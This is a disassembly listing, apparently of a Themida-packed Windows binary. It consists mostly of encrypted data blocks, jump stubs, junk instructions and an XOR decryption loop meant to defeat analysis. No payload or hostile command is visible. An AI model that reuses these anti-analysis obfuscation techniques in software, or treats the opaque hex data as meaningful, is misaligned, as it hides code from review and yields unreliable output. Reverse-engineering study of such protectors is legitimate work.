jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 6195356h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 61954BAh
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 61954F9h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 61955B9h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619566Bh
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 6195A92h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 6195D15h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 6195E5Ah
jmp loc_55D2A6
; ---------------------------------------------------------------------------
db 0AFh, 5Dh, 15h
dd 98D23044h, 1D4DB3C7h, 9FC9384Ch, 264CBACEh, 0AE9B4055h
dd 35491A58h, 0BDD1A2CEh, 43572848h, 79DBACBCh, 4A049834h
dd 29873046h, 0C489ECE4h, 0A3DB9570h, 659EF52Ch, 4226D9E7h
dd 0AEBA4589h, 0F0F109DDh, 2AA8912Dh, 3CCD3410h, 0F18D1083h
dd 3041295Dh, 8A164FE0h, 304129F2h, 5B0660C6h, 6FA748B8h
dd 65ABh, 56AAAD00h, 5FF38FAFh, 0DA2A2CF9h, 7D80B849h
dd 0B3AC10CCh, 2F474B84h, 96CF6B2Eh, 0DB341103h, 912FBEA3h
dd 0B0E80252h, 0EF12123Fh, 0F1B445AFh, 0CE07639Dh, 0E141D965h
dd 33D33041h, 0C042863Fh, 0B3C9F1AAh, 115FA4B3h, 0AEC82E80h
dd 71CD368Ah, 41E141D5h, 9A2BBC30h, 2D67A0E1h, 6FA8038Ah
dd 0B87Dh, 26D97F00h, 0C2168942h, 0AEF22B3Dh, 1D611A58h
dd 89CD86E2h, 0C521F276h, 2A2C0676h, 9A6BFD02h, 6CFC0357h
dd 0F53972B3h, 32A55E0Ah, 0FD7F13AFh, 69FA2A2Ch, 13142C30h
dd 23E3B450h, 0D5663410h, 7C9C104h, 0CB5FFBF4h, 4E30410Ch
dd 4ABE85BDh, 41D29669h, 0EBEC0408h, 2D2A8C28h, 0D0613A28h
dd 254DB90Dh, 0ACC64054h, 0BB46BCE3h, 9CEA65E0h, 0D1Eh
dd 87581AF2h, 0ADB8F73h, 8F600AF6h, 11E2867Bh, 986909FDh
dd 15F15E83h, 8B788C5Dh, 50014E5h, 79869A6Bh, 77BC1EEFh
dd 464C47DBh, 1464C230h, 82452DD9h, 0DC95D32Eh, 0CDE1629Bh
dd 9ED23332h, 4213A4E5h, 0CE0119F4h, 2CF99E32h, 0FF90212Ah
dd 2067A03Ch, 76CA3410h, 0E92AE38Dh, 7C0B055h, 0A93A8DC6h
dd 13CC64F0h, 3AA03041h, 8A04FC3Ch, 2DBBDBC3h, 0E78AC4FDh
dd 0DA6FA7ADh, 0F6h, 4226D9DCh, 94D42B7Fh, 58AEF25Bh, 214E6E73h
dd 0ED12369Fh, 0F081C27Bh, 0EC7A95Ch, 81793CCDh, 7D882691h
dd 0C1F93AF3h, 23B326E0h, 97C4EEB9h, 56EA738h, 2CD52A79h
dd 97D12E2Ah, 0E94DB2C6h, 2DC4B94Dh, 5FA0342Ah, 7E0F5009h
dd 2CD62AEDh, 0BC9D853Eh, 0A013D75Dh, 0EA538C1Dh, 8BDF2377h
dd 545891D2h, 0A2CB383Ch, 14550E64h, 932FF283h, 3410F6C2h
dd 9ACE33C7h, 4C643809h, 0CF34884Bh, 0C73FD36Fh, 29BA3041h
dd 659EDF98h, 82E556F2h, 97283A28h, 21B551D4h, 0AB2A2F73h
dd 0AC6F1256h, 2F727C10h, 0DD6EFF2Ah, 29DD31A4h, 0A2647849h
dd 0F49E07D0h, 9C17E0BBh, 0BE14Eh, 95DD2F00h, 1852B0C4h
dd 9DCD3347h, 1F49B8CCh, 0A6CC3A4Eh, 2E1BC0D5h, 0B5C99AD8h
dd 3D51224Eh, 0C3D7A8C8h, 0F95B2C3Ch, 4C8418B4h, 0A9073046h
dd 452DD959h, 0C99F6074h, 26D9AAF8h, 0BA458942h, 0F109DDAEh
dd 912DF0h, 85341025h, 17AF3BF4h, 0EB30411Dh, 0DD80E185h
dd 8A6FA73Fh, 0A6D6D792h, 114A86D2h, 7E4h, 37CFE600h, 0FF000008h
dd 3D000119h, 0B7CA2C45h, 0A8E0A096h, 2AA953E8h, 0E45790BAh
dd 10EDF748h, 20D96A34h, 744523DCh, 2229F60h, 0BDF2D317h
dd 87FAB344h, 110B7E8Fh, 8CC5F96Fh, 0F4F18E00h, 3D398D99h
dd 0D093D52Ah, 2DE6847Ch, 9A5317E9h, 0E8FC859h, 0AA6305FAh
dd 7DE7851Eh, 7EF85C8Bh, 0B64F16E9h, 51393E13h, 0D9E5684h
dd 867F1354h, 748859EAh, 0B124DD8Bh, 0FC8A85Dh, 6C0995CEh
dd 9A8B7D47h, 4AB5A2C4h, 0C6394D1Eh, 520B679Fh, 0C3C78011h
dd 4BE7AAABh, 0D2BFCAFAh, 0E40DDE6Fh, 40415925h, 0B020E17Dh
dd 9425CCCBh, 680487BCh, 0C8DC84D4h, 18DC657h, 0AACD64D6h
dd 0ED1D2EAh, 0CF92AD72h, 46FF9074h, 0BA822A42h, 0F752CBD8h
dd 9DD330C4h, 4F12A3E4h, 0BEA970B3h, 9A36B97Ah, 6AE9A906h
dd 6CBFF889h, 3BC418DBh, 0B7485C2Dh, 2285E8B1h, 8B06A005h
dd 0A7D3Dh, 0F9799300h, 7CEE1428h, 16997ABh, 83E51C30h
dd 0A689EB2h, 92FF2439h, 192DFE74h, 0A1B586EAh, 273B0C64h
dd 5DBF90D8h, 4DE87C18h, 5633046h, 4226D9B5h, 0B98D0479h
dd 0A8F671E0h, 0A3Eh, 67383AD2h, 0EABBAF53h, 6F402AD6h
dd 0F1C2A65Bh, 784929DDh, 35D1BE63h, 0AB586C3Dh, 25E0F4C5h
dd 99667A4Bh, 579CFECFh, 464E27BBh, 0F444A230h, 894226D9h
dd 0E37FC145h, 2A2CF94Fh, 0A04327D9h, 84AD7E0Fh, 0E0E1F985h
dd 1FC0811Dh, 34C53410h, 87E31D71h, 8B558DCEh, 0B511FA33h
dd 0DC2AB2EBh, 0EE7E4987h, 75383951h, 0CF88E021h, 6709FA8Eh
dd 0C1346DAEh, 0B9DA6025h, 934CDDFBh, 3937CC20h, 0E3E4FC00h
dd 0B418420h, 0B748F5D1h, 625FA0F4h, 75944AC1h, 0F13C2003h
dd 0D6897CB4h, 9C1FE273h, 0D7E56C00h, 9B5EEFF1h, 0D7E56BFFh
dd 245DEEF1h, 0F8708FA3h, 1361402Fh, 98E66127h, 97Eh, 27F87A92h
dd 0AA7BEF13h, 2F006A96h, 0B182E61Bh, 3809699Dh, 7591FE23h
dd 0EB182CFDh, 65A0B485h, 0D9263A0Bh, 175CBE8Fh, 464EE77Bh
dd 0B4046230h, 7F4226D9h, 0DA93D72Bh, 0B3F76099h, 0BC50EC52h
dd 3F2A2CF9h, 591256ABh, 33F68718h, 0BB4423DFh, 22631CADh
dd 580C68E9h, 0F32A2CF9h, 4D06629Fh, 0B7CFD30Ch, 1C70F3B6h
dd 8BCC85E3h, 4A2FC652h, 368A3415h, 46679FC9h, 0C48C0982h
dd 69FA4D86h, 0BBAD52A6h, 665BA4F8h, 0D3F129A4h, 0DF9829B8h
dd 0D0E4659Eh, 3C80392Fh, 46DA76CAh, 0C93046C8h, 0AAEEA738h
dd 34C155Bh, 2CE6A043h, 8CC63B1h, 0C8440000h, 3DC5D9AAh
dd 0B8485C2Dh, 34CDE1B2h, 0B74F6334h, 20D5EABBh, 0DEAFC343h
dd 663739CAh, 0ECBDB352h, 704127D8h, 992DC90Eh, 1430464Fh
dd 26D966B6h, 0C2168942h, 2D1A843Dh, 1514236Bh, 518ACB84h
dd 0B376F20Dh, 7C009430h, 0EA7B2A2Dh, 8AC3AD56h, 4525DD21h
dd 0B2B8488Ch, 0D096FAF9h, 5FF07887h, 9DCAAC10h, 2B350662h
dd 69939E88h, 51D7Bh, 1197D00h, 0AA13D00h, 8F34154Ah, 18E73BFEh
dd 8DAB7F50h, 804FDB94h, 5AA7D1BDh, 4CEF72F4h, 3FE90854h
dd 54h, 2FB1941h, 0FA0FA33Fh, 0F98A2A2Ch, 67E0B440h, 9C6A4AC3h
dd 27D91DD6h, 0F3ACC640h, 246821B2h, 96D790E2h, 0E1471F03h
dd 945BB145h, 0A9B2C4Ah, 4D1452B8h, 89FA7AAAh, 6BFF0357h
dd 0B3871B2h, 10h, 26E22018h, 0F82C7EB3h, 49CF41BFh, 0FF000002h
dd 3F02FB19h, 0F98C20BCh, 737A2A2Ch, 6D8A228Ch, 95CE5F02h
dd 93D1A02Ch, 43A9A1B8h, 669B3E23h, 278EE2FFh, 90000000h
dd 4902FB19h, 0B86E55BDh, 0C3A309A1h, 0FF84FB9Eh, 0AC54A8E2h
dd 30C405BEh, 315E97D1h, 81h, 5416EA3Eh, 0FB199D1Bh, 15EB3F02h
dd 0DA91C55h, 2A2CF979h, 21B551D4h, 9C2A2CFAh, 0EE7FD20Bh
dd 422ED72Bh, 0EB5FD909h, 0A5F9EE0Ah, 40D40D5Dh, 5B983B26h
dd 468B6993h, 8D000000h, 1B66B2AAh, 4673EC17h, 0F1E860Eh
dd 82BB2681h, 0A467607Eh, 2D577208h, 8768F92Ah, 0C184A95Eh
dd 0DC85B5C9h, 4D8E4729h, 0A3F1F15h, 77B871F7h, 5D19ADE6h
dd 938C7114h, 76469h, 0CF660000h, 180h, 0C2B2AAFFh, 2E47933Fh
dd 0EE821EE1h, 712A2D91h, 0D59A7E0h, 89000001h, 4902FB19h
dd 0DC44FABDh, 3C3AA085h, 49DD79FCh, 0C47F7D3Dh, 1DC0FA33h
dd 10BEE35Bh, 0C8h, 6AFE9A1Dh, 0F47F7D34h, 61A25B0Dh, 76F42DBEh
dd 0F78B27AAh, 0DD2A2CF9h, 25127583h, 0CB5CFF8Dh, 77708E92h
dd 0B38418B4h, 0EFE72A2Dh, 5548C01h, 2425901Eh, 71D84758h
dd 0C354A7E0h, 13067E0Ah, 74DA4A0Dh, 0E1CC6FF2h, 257989B3h
dd 27548DDDh, 50h, 922EB134h, 4A4DB2FEh, 8014F081h, 0FB4A4DB2h
dd 0AAB3316Ah, 8C1AF56h, 9E2F41C4h, 4A436165h, 0F957EB87h
dd 41D22A2Ch, 2A84FC88h
dd 13589D0Ch, 0A8CA3C90h, 3ED2AEEFh, 0C1974D27h, 363F730h
dd 0B345BB5Eh, 2AAED6h, 67BB0000h, 1795CE9Ah, 0F78B27AAh
dd 722A2CF9h, 0B94A28DEh, 923280h, 756D0000h, 45E17319h
dd 2A2DA4B1h, 0F3639B2Ch, 2EACE5E7h, 0BCA956AAh, 2E6F284Ah
dd 6AA3E49Dh, 0D68FD926h, 2CF9B14Ah, 6ABE032Ah, 0DC1DD69Ch
dd 570FA3h, 4A9869FFh, 0F78B27AAh, 722A2CF9h, 0C199143Ah
dd 52E3E9A9h, 0FEF71519h, 881CB83Bh, 32A2D7Ah, 65A83972h
dd 4A820B6Dh, 2B643830h, 7A3DF0D2h, 0DA93DD26h, 0AACC6099h
dd 2C0A9775h, 58FA842Ah, 3699325h, 0FE50E480h, 3ACB2A2Ch
dd 0B7B8A602h, 3069A40Fh, 0FFFE9F03h, 5BCF05FFh, 0FF000002h
dd 0F78B27AAh, 722A2CF9h, 0F97F13AFh, 69FA2A2Ch, 6BB8A0D8h
dd 0FC091689h, 0E8807FC3h, 5414EB2Fh, 9697AF83h, 674E37D3h
dd 22B33410h, 745DD69h, 0B3193041h, 250BAEB3h, 48FE6FA7h
dd 0B000000h, 0E81E49B7h, 5840F98Ah, 5C90CCFDh, 0A43D498h
dd 1198Ch, 9C2BA3Dh, 0C893DC9Ah, 0E70315FEh, 59D4DFAFh
dd 0A85B9420h, 0E61E3410h, 675B0A0Ah, 8740D1ABh, 419463FBh
dd 95D13730h, 0A7B729CCh, 0C11C6Fh, 0D91E0000h, 0A6C23F26h
dd 1256A9EDh, 0F337F081h, 489C5F13h, 0BAFBB4BEh, 22A51881h
dd 7D3634CEh, 0F9CC603Ch, 932F2A2Ch, 2A2CF9FFh, 0B546E97Ah
dd 0A1C7387Ch, 0D5BA4E8h, 591E03Ch, 58A72A2Ch, 0BB74F40Dh
dd 0D518E97Ah, 35EE8281h, 9FB7BBF4h, 483FDB9Eh, 913413BAh
dd 1DE93D00h, 96708455h, 3DD013DCh, 7EF9E6AFh, 4A530h
dd 0D1A16B00h, 5416EC00h, 0D9916F83h, 5B0DF408h, 0E290768Ah
dd 6AC7FC11h, 0F105D69Ch, 798D5E12h, 0FF13E48Ch, 35976800h
dd 53C054F0h, 0DD3B3046h, 452DD98Dh, 0C99F6074h, 194FB206h
dd 0BD51ED60h, 402A2CF9h, 64E51EAFh, 20E32921h, 0AC3AD56h
dd 6E8C91C9h, 0D9EF6DA6h, 0FC7F4226h, 2CF9CC60h, 0FBBE4F2Ah
dd 2CF9CB5Fh, 84BD4E2Ah, 4028D71Bh, 82839B6Fh, 0D8986BBFh
dd 3F902C9Fh, 4234101Ah, 0D26CF8B1h, 0AD304119h, 627A2D49h
dd 0B1029E61h, 0B43A2439h, 667E5223h, 0FA039733h, 6A952A2Ch
dd 610445FEh, 0E07C3FD0h, 34154949h, 287C3FD0h, 96D790DAh
dd 6A96EA5Dh, 1AE93D00h, 599C1D56h, 49A63AD6h, 0C7383046h
dd 346DFEA1h, 464A16A8h, 0E9196D30h, 5A16ED81h, 4828DD21h
dd 545977h, 91890000h, 2A2CF9F9h, 0E4B5ACCBh, 813A30D0h
dd 2CF961F5h, 5414EB2Ah, 1BAE579Bh, 90BC11D9h, 9E57E807h
dd 2F3B3B9Fh, 63C5A1B7h, 417AF60Fh, 966703FDh, 34ED8382h
dd 2DB90FA8h, 964A12Ah, 7ABB74FCh, 14EC30E9h, 3A9E9D56h
dd 0D97D2E3Ch, 353BCA9Dh, 2CD91664h, 0BE478B44h, 4CB5F9B2h
dd 54F0631Ch, 2A2CF9C0h, 0EF16AA3Bh, 0D92DC881h, 1A7ECD9Dh
dd 76FA0B5Ch, 14AD49A5h, 0E8722A2Ch, 69932A46h, 0FFFF7A37h
dd 56AA39FFh, 0C506BFA9h, 0B1B7488Ch, 1D4BB4F8h, 5F60784Ch
dd 0DBE489Ch, 0E3B5C8BEh, 0FC859AEh, 862295CEh, 3411109Dh
dd 0A964FE0h, 3041CF72h, 0DB86E046h, 6FA7EE38h, 4B2Bh
dd 1192D00h, 1CE93D00h, 8356B0ADh, 52E36B29h, 0C2AE5599h
dd 0FE37C809h, 0E985088Bh, 2A2D9455h, 820E47D8h, 3410BB49h
dd 36C27B0Ch, 30417A9Eh, 0CE6A0C72h, 0ACE58B7Ah, 0A79DCF72h
dd 0D7C26Fh, 0D7CF0000h, 5BD4D241h, 1694CD71h, 259B26D9h
dd 84470E1h, 246CD6F5h, 761486ECh, 1EE82CE5h, 0C3999154h
dd 96E1D2DDh, 75B9225Bh, 0E125DE8Ah, 1D794A1Eh, 2A2CD1CEh
dd 0D03035CAh, 0C346099Ah, 2DC19327h, 4C85162Ah, 0CC3488CBh
dd 4902669Bh, 7DBE7708h, 69FF0044h, 9394ACB0h, 0F1DB34D0h
dd 0CA5E3410h, 0D2A33436h, 76C83B8Fh, 41F246DAh, 0A738C930h
dd 78ECC56Fh, 0C801CC37h, 0E8ABACC4h, 28AB534Ch, 4205963Ah
dd 0AE5718EEh, 37C809C2h, 0BEB45266h, 0BBC0E8F5h, 0FC4AC5E0h
dd 222h, 83541EEEh, 6D7936Fh, 8B5C0EF2h, 0DDE8A77h, 94650DF9h
dd 19ED5A7Fh, 8F748859h, 9FC10E1h, 7D829667h, 73B81AEBh
dd 465743D7h, 1868C630h, 74452DD9h, 0F8C99F60h, 0A956AAAAh
dd 2C506BFh, 2CF9D266h, 83BC4D2Ah, 0A366677Fh, 0D06505ABh
dd 398DFFh, 0D4B8F18Dh, 29BD3410h, 98D992D6h, 2AC24E07h
dd 0FE3041A9h, 69A36B9h, 983041A9h, 7480167h, 69AD364h
dd 0A945C860h, 3041A915h, 94CE0798h, 6FA7CBF1h, 0FBE4h
dd 26D9E600h, 0C1458942h, 0FB3F7A0Ah, 0BCC8C78Dh, 8B604D52h
dd 0FFB849DAh, 2C412473h, 0E682052Ah, 2A2D3852h, 0A4CC39CDh
dd 0E019AAEBh, 0FF02639Ch, 0DE6FB069h, 6206F90Dh, 0BBB336A9h
dd 0EE898DC6h, 0B4482429h, 372A2D09h, 7B0C5CA3h, 25263E42h
dd 3BCF6A62h, 21CA189Eh, 90D18ADEh, 0B753C6FFh, 3411245Eh
dd 0D8906FC3h, 0BB4ADE1Fh, 82BBFCB5h, 0F9CD9E2Fh, 9A1DE0E1h
dd 0C3E77B17h, 0D1623041h, 41C361F5h, 884BDC30h, 41C358ECh
dd 942D330h, 7F20FA96h, 92233A28h, 0E48B7BCFh, 4E924B1Dh
dd 0BCFDB6B4h, 0B5C99A2Bh, 86E41E51h, 0F3052CF5h, 0F36EE0BBh
dd 0DDA5h, 99D93300h, 1C4EB4C8h, 0A1C9374Bh, 2345BCD0h
dd 0AAC83E52h, 321FC4D9h, 0B9CD9ED4h, 4155264Ah, 0C7DBACC4h
dd 0FD5F3038h, 57881CB8h, 0A5033046h, 452DD955h, 0C99F6074h
dd 9632B5F8h, 2A2CFA02h, 35B3EC7Dh, 7F4226D9h, 0F9CC60FCh
dd 0AFBA2A2Ch, 0A92F5E54h, 2059EA8Dh, 0DC8C73B7h, 8E74C80Bh
dd 0D27A0EAAh, 64F52A2Dh, 7E969AD3h, 3F37BA7Dh, 91009E6Dh
dd 0C6528B05h, 3415872Bh, 0C436968Eh, 336BFF03h, 1A532BD9h
dd 397D36C7h, 0BDD1A2C6h, 0E16D2642h, 0A845ABCDh, 76B2B408h
dd 548DE322h, 0A879EF10h, 44FD6B94h, 0AE670100h, 61F67086h
dd 0B6F9CA9Eh, 91CAA062h, 0FDB6B24Dh, 1DAFh, 0CB67EA00h
dd 0A8462837h, 978CFC1Dh, 0F396D49Ch, 0ABAB2962h, 45602E26h
dd 0E0BA4A15h, 33D929A7h, 0BD42863Fh, 57AEF2ABh, 0E71C6019h
dd 7A8CD089h, 0BFB3FF8h, 976AAE67h, 2CD418D1h, 0C141853Eh
dd 68EAF0A9h, 92Dh, 50243C89h, 405E089h, 2D000000h, 4
dd 5C240487h, 51242C89h, 0C181E189h, 4, 4E981h, 0C870000h
dd 3C895C24h, 2ABC6824h, 3C890000h, 50D6BF24h, 0FD890619h
dd 4EC835Fh, 81242489h, 42404h, 535F0000h, 0B850EB89h
dd 8, 1889F801h, 3C8B5B58h, 0E2895224h, 4C281h, 0C2830000h
dd 24148704h, 2434FF5Ch, 4C4835Dh, 0FBE6EDE9h, 28758BFFh
dd 0C9D18EEEh, 38530E1Eh
; ---------------------------------------------------------------------------
loc_59EBC4: ; CODE XREF: sub_59DB3D:loc_59DC56j
mov eax, 6195F5Ch
add eax, ebp
jmp eax
sub_59DB3D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 81h, 39h, 0F7h
dd 0E6BBA772h, 91A36D03h, 6B99F959h, 968D8D16h, 0F061960h
dd 28Bh, 89DE8B00h, 1432298Dh, 0F9952906h, 0C7061431h
dd 14064D85h, 5E6C06h, 6830F00h, 8B000000h, 14039985h
dd 7185C706h, 61426h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 98B5C356h, 458D899Ah
dd 0FF061408h, 1402E1B5h, 299D8B06h, 0FF06142Dh, 14236195h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 0CB7A8894h, 6AD466h, 116995FFh
; ---------------------------------------------------------------------------
loc_59EC74: ; DATA XREF: Themida_:00549424o
adc al, 6
mov eax, eax
jmp short loc_59EC97
; ---------------------------------------------------------------------------
dw 0F0B2h
dd 1BB87043h, 0F4451808h, 3B23E42Fh, 6EB95786h, 3326C5Fh
dd 74C2375Dh
db 0A3h, 39h, 71h
; ---------------------------------------------------------------------------
loc_59EC97: ; CODE XREF: Themida_:0059EC78j
jmp loc_59EE2A
; ---------------------------------------------------------------------------
push 0
push esi
call sub_59ECA7
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59ECA7 proc near ; CODE XREF: Themida_:0059EC9Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_59ECA7 endp
; ---------------------------------------------------------------------------
db 40h
dd 0A7FDD57Bh, 0F80CA3D9h, 6174B58Dh, 8C0F0619h, 1, 12858DF5h
dd 0F06174Ch, 108Ch, 5E96000h, 0D0000000h, 38F88672h, 0FCE4BF66h
dd 6AD0FF61h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 1929C350h, 0E94D6B3Ah, 830F64F7h
dd 13h, 0E95F5160h, 0Ah, 0CE4A5836h, 0E5FA750Dh, 0FC6104DCh
dd 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 7280E7EFh, 7A6E1AD6h, 66DD8A60h, 6661C28Bh
dd 880FD98Ch, 0Bh, 6E9h, 5C3B8100h, 60144F50h, 8E9h, 0A2D7BB00h
dd 0E76833E1h, 80BF6663h, 0C1F661AAh, 60840F04h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 0B8ADC351h, 5830Fh, 66600000h, 8B61CB8Bh
dd 32CB8BFBh, 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h
dd 3F20CD00h, 0B000101h, 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh
dd 0FA75490Ah, 1B8h, 8B09EB00h, 0B8E4EB00h, 0
dd 13E9CFh, 1550000h, 6AA34FB5h, 0B750342Ah, 7072DACh
dd 647B8181h, 815160FDh, 23617C1h, 820F5A35h, 19h, 13E8h
dd 13782900h, 40719D45h, 0F9B438B5h, 0BEFDC2F6h, 0C65C1114h
; ---------------------------------------------------------------------------
pop edi
popa
loc_59EE2A: ; CODE XREF: Themida_:loc_59EC97j
mov dword ptr [ebp+61961E4h], 1013Fh
call near ptr loc_59EE46+3
mov dword ptr [eax], 0D61F80EAh
lodsd
dec ebx
mov dl, 46h
xchg eax, ecx
test al, 0FCh
loc_59EE46: ; CODE XREF: Themida_:0059EE34p
or eax, 0B70F524Bh
leave
pop eax
adc ebx, 256BB59Ah
add eax, 5F62h
pusha
jmp loc_59EE73
; ---------------------------------------------------------------------------
db 40h
dd 3E03A5A3h, 0B6E9EAF3h, 90EEF2CBh, 251F2509h
; ---------------------------------------------------------------------------
push ebp
mov dh, 0AFh
loc_59EE73: ; CODE XREF: Themida_:0059EE5Aj
call sub_59EE86
; ---------------------------------------------------------------------------
dd 0B8C8C1C4h, 10616303h, 0DCF414F3h
; ---------------------------------------------------------------------------
test ebp, ecx
; =============== S U B R O U T I N E =======================================
sub_59EE86 proc near ; CODE XREF: Themida_:loc_59EE73p
pusha
popa
pop ecx
popa
xor edi, edi
pusha
jbe loc_59EE95
pusha
popa
loc_59EE95: ; CODE XREF: sub_59EE86+7j
stc
popa
loc_59EE97: ; CODE XREF: sub_59EE86+6Aj
mov edx, [eax+edi]
xor edx, 458E5E70h
stc
xor edx, 4174D55Ch
pusha
push ecx
jb $+6
pop edx
cmc
popa
xor edx, 4A58BA77h
jge loc_59EEBF
cmc
loc_59EEBF: ; CODE XREF: sub_59EE86+32j
mov [eax+edi], edx
jmp loc_59EEDB
; ---------------------------------------------------------------------------
db 0Bh
dd 0EF26CDBFh, 81146E4Ch, 20208290h, 0F87471Eh
db 4Dh, 0C5h, 0D9h
; ---------------------------------------------------------------------------
loc_59EEDB: ; CODE XREF: sub_59EE86+3Cj
stc
sub edi, 4E7454ABh
add edi, 4E7454A7h
mov cl, 0D4h
cmp edi, 0FFFFA168h
jnz loc_59EE97
jmp loc_59EF07
; ---------------------------------------------------------------------------
db 0F2h
dd 0C23A0662h, 0C6E15F99h
db 0B5h, 6Eh, 0E3h
; ---------------------------------------------------------------------------
loc_59EF07: ; CODE XREF: sub_59EE86+70j
jmp short loc_59EF69
; ---------------------------------------------------------------------------
align 4
dd 17h dup(0)
db 0
; ---------------------------------------------------------------------------
loc_59EF69: ; CODE XREF: sub_59EE86:loc_59EF07j
jmp loc_59FAD4
; ---------------------------------------------------------------------------
jmp loc_59FACD
; ---------------------------------------------------------------------------
push 6196B4Eh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6196CC8h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6196D36h
jmp loc_5509FF
; ---------------------------------------------------------------------------
db 0C4h, 18h, 0A7h
dd 625B7855h, 1C9F3310h, 0D1E8EDCAh, 8835A27Fh, 0F5BBFD36h
dd 0AC89DBE2h, 65429425h, 1DFA4C73h, 0A4B002B9h, 4B30161Ch
dd 4944580Bh, 0FABF12E2h, 0FDD4DF4Eh, 498D6ABCh, 1FB9C672h
dd 24ECF4A0h, 0F1E8381Eh, 646F4C51h, 8792C159h, 0EB1DBA4Ah
dd 8B37CFEAh, 0E2EF9B33h, 0FDC013F5h, 0FF9728B0h, 2C914653h
dd 57627380h, 2D6A3ABh, 4F838EBDh, 20B3C06Ch, 77E5F19Dh
dd 20B27FC7h, 32874E9Bh, 0F9FF2E86h, 0E84AE3F3h, 0DB234B57h
dd 4B270D13h, 133B580Bh, 0C211DEE4h, 63CDA9FBh, 4EE6D3FEh
dd 64713E06h, 0E8E22655h, 14580B4Ah, 0A33340ECh, 170DC618h
dd 84308D4Ah, 0E4F2FD2Ch, 0ABB3AED7h, 16C2F7DEh, 56EECD09h
dd 0AB134027h, 540DD2FBh, 63494F17h, 7751F1E8h, 0C1B4204Fh
dd 5D01EDE5h, 52h, 6F508855h, 0D908B522h, 0FBAB13F2h, 2B1117D2h
dd 3F51F1E8h, 107CF17h, 51F1E81Bh, 0F1D8072Fh, 54824F17h
dd 17513867h, 433884Ah, 9BE3DAF9h, 5C715C4h, 0F20019FFh
dd 0AE052D51h, 4D7CE824h, 17691066h, 0B8F12F40h, 52817721h
dd 2F46h, 0AB139D00h, 1117D2FBh, 51F1E82Bh, 649A3954h
dd 5E9079BFh, 2AE4697h, 17E912AAh, 0FCC1126Eh, 0E6ECB4h
dd 1451F1E8h, 86399FECh, 69107057h, 11674017h, 45F1CE0Ah
dd 61E896EDh, 61CFD908h, 0B06F75BDh, 6657E61Bh, 6A4C923Eh
dd 755806FBh, 0C99C3753h, 35F8D8DEh, 1E7h, 3EA9134Ch, 8039C7Eh
dd 0B80098D0h, 0F276B4B2h, 39996651h, 4F7ED682h, 0EFF7A3CBh
dd 0AA4C4918h, 53829E66h, 777D8E48h, 51F23C91h, 93E57DA5h
dd 0D8E5EEBBh, 4F17C2A9h, 0F1E86349h, 204F7751h, 0D1FAC115h
dd 4A17CAB3h, 0E0E62E8Bh, 51F1E7FAh, 0ADB7E60Eh, 0D6C9545h
dd 0E5C4B154h, 0E3BA01EDh, 0E7560677h, 0E64C7B7Eh, 49h
dd 2A1016DEh, 3E54F1FDh, 1300E716h, 0E6B3FBABh, 0B59CCBF0h
dd 0E82B1117h, 173F51F1h, 874F17EEh, 0F1E79B81h, 3A87AF51h
dd 1E762297h, 0C11208EFh, 4A17D3FCh, 7B832F8Ch, 0F1E78F75h
dd 0E37BA351h, 1100A7B4h, 22h, 0FBAB1368h, 824F17D2h, 0F4386754h
dd 51F1E80Eh, 17A8D137h, 0FCC1126Eh, 8B4A17D3h, 0FB2A822Eh
dd 401747EEh, 391BA64Ah, 5448F8F7h, 3D42A3A9h, 26C76A5h
dd 95410E56h, 29F1F726h, 9945765Ch, 0DE76478Ch, 4B7A4191h
dd 0F28A1507h, 6D194151h, 45907660h, 0D18ADC74h, 63494F17h
dd 7751F1E8h, 0A8AF84Fh, 1E5C7E6Bh, 19F2E4EFh, 0F2142D13h
dd 0D95A4151h, 0BEC19A79h, 88B149E1h, 4017CAB3h, 9F4543BCh
dd 0A0DA310Bh, 727081FAh, 0AF172150h, 4017D6FFh, 6B05207Ch
dd 74459050h, 0A9D870C8h, 0C4B1E099h, 0BA01EDE5h, 29D5E4EDh
dd 20167AD1h, 0BAF62AD3h, 3E258Bh, 173C0000h, 8632874Ah
dd 0FAE0E62Eh, 0E51F1E7h, 45ADB7E6h, 11176C95h, 51F1E82Bh
dd 17EE173Fh, 3DC1126Eh, 3CD1F530h, 0CC14AC68h, 3626D8FFh
dd 80690B27h, 9980AF47h, 36116910h, 68000000h, 8AEA4017h
dd 8FE8117Bh, 89EE5660h, 0AB26734Ah, 174D760Eh, 0E863494Fh
dd 4F7751F1h, 2E141A20h, 5751F1E8h, 6E17C8F1h, 0D3FCC112h
dd 2F8C4A17h, 0EFFC2B83h, 911148h, 13680000h, 0AFB5FDA9h
dd 51F1E7B1h, 7E3B9663h, 0C74B7AD2h, 0F0E6F39Fh, 12C079CBh
dd 0B3CEF7C4h, 0FBAB13CAh, 0B1540DD2h, 1EDE5C4h, 0D7E6EDBAh
dd 3EA4D32Bh, 26h, 0FBAB1355h, 884A17D2h, 0F8FE0433h, 51F1E812h
dd 17D5FE26h, 0FCC1126Eh, 874A17D3h, 4FF60332h, 3611h
dd 0AB136800h, 4A17D2FBh, 2E863287h, 0DF3F9FFh, 3651F1E8h
dd 6E17A7D0h, 7F8C4A17h, 0F1E79379h, 0E77FA751h, 0A9B4E33Bh
dd 106A932Ah, 967C824Ah, 0AA51F1E7h, 126C5382h, 3E4BF7C4h
dd 0F6D3259Ah, 0E92FDBE0h, 51F1E805h, 4EE6A446h, 14EB3388h
